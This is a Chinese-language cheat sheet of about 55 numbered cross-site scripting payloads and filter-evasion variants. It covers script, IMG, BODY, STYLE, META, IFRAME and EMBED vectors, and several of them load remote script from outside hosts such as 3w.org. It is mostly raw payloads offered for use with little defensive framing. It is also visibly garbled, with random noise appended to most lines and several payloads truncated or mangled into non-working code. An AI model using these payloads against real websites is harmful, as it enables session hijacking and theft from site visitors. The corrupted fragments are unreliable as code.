(1)普通的XSS JavaScript注入/ M0 w! Q3 l h
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
7 D" O1 M/ N3 B% m; O) k(99)另类弹框6 Y4 B2 v* c- `
<q/oncut=alert()>1
* K: O8 k! | a2 ^ P1 v/ H2 |<s/onclick=alert()>b# H! e$ ]2 m% b2 P' d& v
<XSS=" onclick="alert(1)//">clickme</SSX="> @5 A A }) G# U- b; Z
<zzz onclick=alert`1`>clickme</zzz> 4 u4 a% i: w, `* }9 h8 y! f
<a onclick=alert`1`>clickme</a>! Q3 D, Y1 |& o3 H; c+ k2 ?, ~
<a=">clickme</a=">% }+ v6 d. k" h! Q X
<a=">clickme</a>
" l! Y9 b4 g! F<z=">clickme</z=">2 I9 B! g; j& j8 z; B& o3 c
<z onclick=alert`1`>clickme</z>
# r! L' A4 ^6 |+ I9 n2 U% a
5 z/ {5 r" `3 H! {9 n+ P(2)IMG标签XSS使用JavaScript命令9 d3 j' V) J) Z0 F# h
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>1 W# U3 f( e, I5 K8 z" y
- C& V" k" H$ {, t
(3)IMG标签无分号无引号
: p2 \' h' Z( L, w3 L<IMG SRC=javascript:alert(‘XSS’)>& ?# v# Y, ^( c1 f- \ ?7 U7 |* R
( ]% h, n& i& s/ M" X( l6 o(4)IMG标签大小写不敏感
( i, q7 Z0 ?1 X5 G. N, r<IMG SRC=JaVaScRiPt:alert(‘XSS’)>; Q2 l! x( x4 c9 ?5 Y
; k% A1 i8 _8 _2 y y
(5)HTML编码(必须有分号)
5 P9 x) P6 I+ r( ]% i: ]( O<IMG SRC=javascript:alert(“XSS”)>+ R( z7 `$ Z9 K6 `
& m4 W' [+ E; H. [) s
(6)修正缺陷IMG标签
, `+ Y9 F& r, y r2 V# Y. U2 a<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
* V! _& u3 b" D6 E x6 u+ q) a( | |7 i n
(7)formCharCode标签(计算器)
; z4 a# a2 L# I) b6 X6 Q<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>0 X+ s3 J. \9 a4 d# G- A# E6 k
9 x& N8 J! |2 ~1 v(8)UTF-8的Unicode编码(计算器)$ y$ [1 u" z+ G" {* O6 J
<IMG SRC=jav..省略..S')>/ p; o) y+ Q, z/ X
3 o* O9 l" T( k& I, ?
(9)7位的UTF-8的Unicode编码是没有分号的(计算器); i" v ?( x: G' q7 B$ ?
<IMG SRC=jav..省略..S')>4 A3 X# \) j: w3 C' t
3 k* h2 k1 A: j0 L
(10)十六进制编码也是没有分号(计算器); M) l! x2 ~' h8 |
<IMG SRC=\'#\'" /span>6 s2 K# I4 Y& w9 x% I" x$ ?
8 d8 ?* R; u5 k1 t* A$ C
(11)嵌入式标签,将Javascript分开
: B; ~" y; c, u; {/ s<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>! m8 |, g# {/ H1 N
. Z% o5 `9 R3 E; c
(12)嵌入式编码标签,将Javascript分开0 I! v' s# H" _; A2 w( _* D1 B+ S+ g( }
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
9 E+ I9 _& Q4 @" @; }/ X
# V* P! A1 y2 {' N+ H( I(13)嵌入式换行符
/ y+ r$ ^. d% i x' D5 A( q<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
) |# B. A# @0 u* X2 J) j% k: n- I* N9 r
(14)嵌入式回车
" K6 a5 [" `/ l! a<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
5 ~" X$ y# Z+ u, n: U1 v7 J- H. K! v
(15)嵌入式多行注入JavaScript,这是XSS极端的例子3 Y! A/ D- g" U/ g7 j& W
<IMG SRC=\'#\'" /span>9 V2 r' `# E5 X: O: T5 G" h
/ \! O% h3 @- K/ p
(16)解决限制字符(要求同页面)
/ I& s) _: |+ T$ `% O% S0 [/ Z w<script>z=’document.’</script>
: d+ `1 {' P0 N. v/ _, j& ^<script>z=z+’write(“‘</script>/ k" C/ Z1 B5 ?! H' j% G
<script>z=z+’<script’</script>
+ W c7 H9 \( u' H9 r/ _<script>z=z+’ src=ht’</script>
1 Q5 u, k( ]3 x1 [. @" J! H<script>z=z+’tp://ww’</script>7 V4 p7 n0 a( V
<script>z=z+’w.shell’</script>" r- ?6 n. p; f5 H9 o
<script>z=z+’.net/1.’</script>0 b- H+ C1 A- T
<script>z=z+’js></sc’</script>' @6 b* m$ H* b5 B' V$ r
<script>z=z+’ript>”)’</script>
8 {9 Z# y8 R$ m3 I, w8 x: Q<script>eval_r(z)</script>
. {& t( w0 f* L# T @; I9 w/ n
(17)空字符
$ u( W+ P8 K. U8 U. ~perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out# q' g! I" _5 {, ~+ x' S4 l
$ }/ B" L, j: C9 ~: [! X$ |3 y
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
7 _5 [3 ^0 c; x |& operl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
: A9 H B/ J4 q, W" m% y+ P8 Y. P
(19)Spaces和meta前的IMG标签
7 n. s: N: \2 P [4 {' S" x- r<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
$ _5 W5 f. ^0 e$ e% N9 C- H0 a! a" |- }( d) o$ L
(20)Non-alpha-non-digit XSS0 U' ? Y6 U, l* ^& `
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
! m6 U. d* }9 I# D( \& W: ^5 F W* u6 P+ C; \+ v6 n" X* F: I
(21)Non-alpha-non-digit XSS to 2
& h, i3 z! I: W% X<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>- |" j6 K9 o3 S. [" L# Z7 z4 L
8 K0 I- N- `! |
(22)Non-alpha-non-digit XSS to 3
1 v# ~+ z% P _& `- B% c* l0 [<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>. a4 ^9 V* ^7 I% w+ n$ M
& D8 k. }- E a6 c' b8 c& W(23)双开括号" X4 a- g8 M& p6 c
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
: P1 c2 R$ W5 V' ~, A( C. `) W( K: r0 {! j' g1 C f$ y
(24)无结束脚本标记(仅火狐等浏览器)1 Q! {) \9 c& p3 U3 _
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>. E2 |4 {; V" H
7 Z% x {; o# }8 t
(25)无结束脚本标记22 G; c; E% ~& L- ^2 i
<SCRIPT SRC=//3w.org/XSS/xss.js>
2 V5 o2 Z3 a) x2 h7 u6 f( g7 { X1 f* M$ Y" |: s) F
(26)半开的HTML/JavaScript XSS
. q$ T) }4 Q4 j9 [<IMG SRC=\'#\'" /span>
2 }7 c# O+ b2 ^( m d$ u$ w) D/ f9 \* [
(27)双开角括号
; J R2 k8 P, C: x7 j<iframe src=http://3w.org/XSS.html <
& P7 F. A9 e9 a& W
2 G' t$ w0 J- f) n6 B8 f(28)无单引号 双引号 分号
/ S, m6 @* Y2 r0 I% W7 l2 F3 Z<SCRIPT>a=/XSS/1 N0 ?9 V2 l$ H/ E+ x- ?) E
alert(a.source)</SCRIPT> U f$ R9 P3 b) F
$ M5 H" Z; {7 f0 F T g. I9 Y7 S7 g
(29)换码过滤的JavaScript+ ^ Y- Z# n$ x Z% }4 k; ?& l4 x% W! b
\”;alert(‘XSS’);//
F. K: v" k1 L9 z. T* ?" i
\ {2 x+ [ m! r: G" U8 x(30)结束Title标签
6 z8 M; y' [4 @; ^</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
9 Z9 H0 v# p$ ?4 X/ @
4 v! ]4 I9 d9 A1 v5 F a1 w: M3 {(31)Input Image( m' f6 z# U# \6 c e t& Q) ?! [5 x
<INPUT SRC=\'#\'" /span>: o3 d4 P, ?# i1 Q8 [6 Y, J
0 O5 y6 ]1 J5 b- [. [" X. u(32)BODY Image
& e; F7 j, c3 n9 b! X, Z2 P" i6 c- C<BODY BACKGROUND=”javascript:alert(‘XSS’)”>/ N% @% s9 B! ]. y# \2 J" v5 c
9 h4 q7 W) u) B+ e(33)BODY标签) u0 T" K- v% H) x! t2 } j
<BODY(‘XSS’)>2 U, m: L: n) t- N m6 k7 ?
X: L0 e- V: {8 c% \- D(34)IMG Dynsrc
. d9 n5 G0 T p4 r, y# ]6 w<IMG DYNSRC=\'#\'" /span>
, `3 _5 w- V9 D2 A# {! J j1 k( k' S' |) A i/ i$ b" y. ?
(35)IMG Lowsrc7 f+ q5 f6 V! v7 N' C
<IMG LOWSRC=\'#\'" /span>6 ~8 o& n2 R8 K3 r5 ?' p+ b
( l S% s3 ?9 e4 O4 v0 z
(36)BGSOUND
0 ? X/ M, h" {8 w) ^$ l( I<BGSOUND SRC=\'#\'" /span>+ ~# J2 W) {# G% Z
+ O d* T! ~5 R4 \; L& I(37)STYLE sheet% q( L: Q/ A3 S, b, Y; [) N
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
. ^% T: a" r3 u4 v' k
* i# c) W/ `/ W; ]! C6 j9 s- A(38)远程样式表
, Y6 g, n8 u% X) U K<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>% L) S3 |& x6 _. g' l
- m! ~& [ P$ \2 Z5 O- I(39)List-style-image(列表式)
; L. @) T/ R1 T% R2 i: @<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS; W& m6 t0 e$ D# c0 X l
0 X0 P% G* T- Q1 D( B
(40)IMG VBscript6 T* t+ p& r# H6 Q' ?
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS. _, \4 ?# p1 }
% N$ D3 q5 i) j4 q+ b' l( s* R# Q(41)META链接url
3 ?7 _; K6 g9 u% f<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>! o T S. S! x T' x0 u2 G8 g
6 i7 g. N- a; C8 z: c% v(42)Iframe
6 `' W0 c& ?( D+ m9 R<IFRAME SRC=\'#\'" /IFRAME>" ~2 M* n# x' I" h: G( o! y
6 A1 P3 @0 A' i" Y, n(43)Frame
& O, C5 p, ^' d: S; p<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
% G/ p, v4 h1 n/ |* `' D; B- l0 z5 r! F
(44)Table
. }/ Q1 N# C/ N7 \<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
5 u3 V6 r9 l8 L, p3 @& t7 u: H! W8 [) d8 `
(45)TD
: e0 e' m' q1 ]7 a' ?; B8 \$ J<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>5 W) e i$ J% I6 G6 G P
/ M9 M* l3 g S(46)DIV background-image2 d: W- A) t& }
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
* U6 P9 O5 b, @4 \+ M$ J! p' f4 h! {
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)& M# J: c9 D# s/ |0 R
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
0 J; ^4 x& S) P/ X- i0 g
2 Z) S+ k6 r0 l! w$ Y2 h9 c4 |(48)DIV expression+ o" X0 i# v" S V* o, h" K
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
: b. \. R# c4 n/ @& N- P- i6 K: A/ {5 J9 Q$ |/ j# V; S
(49)STYLE属性分拆表达( e8 a4 v; p; z2 y2 h3 R- }
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>5 W& q: u7 F! b. s. L
/ { [9 F/ S y(50)匿名STYLE(组成:开角号和一个字母开头)
% c7 E% f Z; V<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>- k- C" U1 j x' g7 z+ K3 G$ P
- b! o1 o3 H& `* h# o( h* K(51)STYLE background-image
6 R, k- n3 ?1 Y a9 j<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>7 A0 Y) O" v. o# _3 g$ |
1 S7 y. ~ k4 M ?
(52)IMG STYLE方式0 L$ _+ p1 n# p4 C: @: B3 Y
exppression(alert(“XSS”))’>5 U5 m: e5 h* Y5 V h) `( q$ e
* x5 ]' } j( H: t2 b(53)STYLE background3 B$ D/ g7 v$ e1 b J( u. w8 s
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
; J+ {- }) E: O# r. [# b* [6 ^* e1 T' w% g8 n
(54)BASE; _4 L, k6 L2 O# _- d
<BASE HREF=”javascript:alert(‘XSS’);//”>
! F% N: q" k/ ?7 e7 Q
9 N2 _1 g& y6 E. X1 Z(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS+ N2 e8 h7 w I
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
$ x" h- r; v8 |$ D, n, y |